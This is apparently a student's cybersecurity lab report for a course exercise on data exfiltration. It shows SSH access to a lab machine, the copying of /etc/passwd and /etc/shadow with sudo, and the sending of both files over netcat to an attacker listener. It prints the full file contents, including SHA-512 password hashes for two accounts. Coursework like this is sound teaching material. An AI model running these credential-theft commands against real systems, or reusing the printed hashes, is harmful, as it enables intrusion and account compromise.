

4. Tasks

Task 1: Access the target system via SSH

I accessed user joe by using the command “ssh joe@10.1.143.79”

```
student@amansha:~$ ssh joe@10.1.143.79
joe@10.1.143.79's password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-1018-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

Get cloud support with Ubuntu Advantage Cloud Guest:
http://www.ubuntu.com/business/services/cloud

38 packages can be updated.
0 updates are security updates.

Last login: Mon Sep 27 02:19:01 2021 from 10.1.142.151
joe@ip-10-1-143-79:~$ date
Wed Sep 29 16:33:20 UTC 2021
joe@ip-10-1-143-79:~$
```

Task 2: Copy the passwd and shadow files

Exfiltrated both of the files, Copied the files to the home drive by using the following commands “

```
cd ~/
cp /etc/passwd ~/
sudo cp /etc/shadow ~/
```

“

Then used the ls-l command to see whats copied and who owns the file. I used to sudo chown command to make joe the owner of the shadow file.

```
joe@ip-10-1-143-79:~$ cd ~
joe@ip-10-1-143-79:~$ cp /etc/passwd ~/
joe@ip-10-1-143-79:~$ sudo cp /etc/shadow ~/
joe@ip-10-1-143-79:~$ ls -l
total 12
-rw-r--r-- 1 joe  joe  1691 Sep 29 16:37 passwd
-rw-r----- 1 root root 1126 Sep 29 16:37 shadow
-rw-rw-r-- 1 joe  joe    5 Sep 27 02:19 testfile
joe@ip-10-1-143-79:~$ sudo chown joe shadow
joe@ip-10-1-143-79:~$ ls -l
total 12
-rw-r--r-- 1 joe  joe  1691 Sep 29 16:37 passwd
-rw-r----- 1 joe  root 1126 Sep 29 16:37 shadow
-rw-rw-r-- 1 joe  joe    5 Sep 27 02:19 testfile
joe@ip-10-1-143-79:~$
```

Task 3: Exfiltrate the passwd and shadow files

- Made a directory that'll hold the files
- started a netcat listener on Kali Linux and dumped the passwd file into the target_passwd file.
- then used cat command to see the target_passwd file
- repeated the same commands for the shadow file to copy the shadow file to target_shadow file

Amir Mansha
3-6 Exfiltration
CYSE 425
Fall 2021

```
student@amansha:~$ mkdir passwords
student@amansha:~$ cd passwords/
student@amansha:~/passwords$ nc -l -p 2222 > target_passwd 10.1.143.255
^C
student@amansha:~/passwords$ nc -l -p 2222 > target_passwd ()
student@amansha:~/passwords$ cat target_passwd (1)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uidd:x:108:112::/run/uidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
student:x:1001:1001::/home/student:
joe:x:1002:1002:,,,:/home/joe:/bin/bash
student@amansha:~/passwords$ date
Wed Sep 29 17:04:07 UTC 2021
student@amansha:~/passwords$
```

```
joe@ip-10-1-143-79:~$ nc 10.1.142.151 2222 -w 3 < passwd
joe@ip-10-1-143-79:~$ date
Wed Sep 29 17:05:58 UTC 2021
joe@ip-10-1-143-79:~$
```

Amir Mansha
3-6 Exfiltrction
CYSE 425
Fall 2021

```
student@amansha:~/passwords$ nc -l -p 2222 > target_shadow
student@amansha:~/passwords$ cat target_shadow
root:*:17270:0:99999:7:::
daemon:*:17270:0:99999:7:::
bin:*:17270:0:99999:7:::
sys:*:17270:0:99999:7:::
sync:*:17270:0:99999:7:::
games:*:17270:0:99999:7:::
man:*:17270:0:99999:7:::
lp:*:17270:0:99999:7:::
mail:*:17270:0:99999:7:::
news:*:17270:0:99999:7:::
uucp:*:17270:0:99999:7:::
proxy:*:17270:0:99999:7:::
www-data:*:17270:0:99999:7:::
backup:*:17270:0:99999:7:::
list:*:17270:0:99999:7:::
irc:*:17270:0:99999:7:::
gnats:*:17270:0:99999:7:::
nobody:*:17270:0:99999:7:::
systemd-timesync:*:17270:0:99999:7:::
systemd-network:*:17270:0:99999:7:::
systemd-resolve:*:17270:0:99999:7:::
systemd-bus-proxy:*:17270:0:99999:7:::
syslog:*:17270:0:99999:7:::
_apt:*:17270:0:99999:7:::
lxd:*:17270:0:99999:7:::
messagebus:*:17270:0:99999:7:::
uidd:*:17270:0:99999:7:::
dnsmasq:*:17270:0:99999:7:::
sshd:*:17270:0:99999:7:::
pollinate:*:17270:0:99999:7:::
ubuntu:!:17326:0:99999:7:::
student:$6$qZXTIN8j$uNVuxR48FELc5jmMRcLj11Cx53Jk.4fskDataLzJLq4BEhK1eGz6Su8SoKeXJNeI6IiYY.vymRrSUNBL8dUTq.:17326:0:99999:7:::
joe:$6$Nw7U6hh6$Cn/QPdJ19Wacc.fdRA8s9vghVd0TPMha1nS5cL00zEPozcU4P1M6GtcqqfSXEEIU8Mw.11hBmkRFU9b1AHDJg1:18897:0:99999:7:::
student@amansha:~/passwords$ date
Wed Sep 29 17:18:19 UTC 2021
student@amansha:~/passwords$
```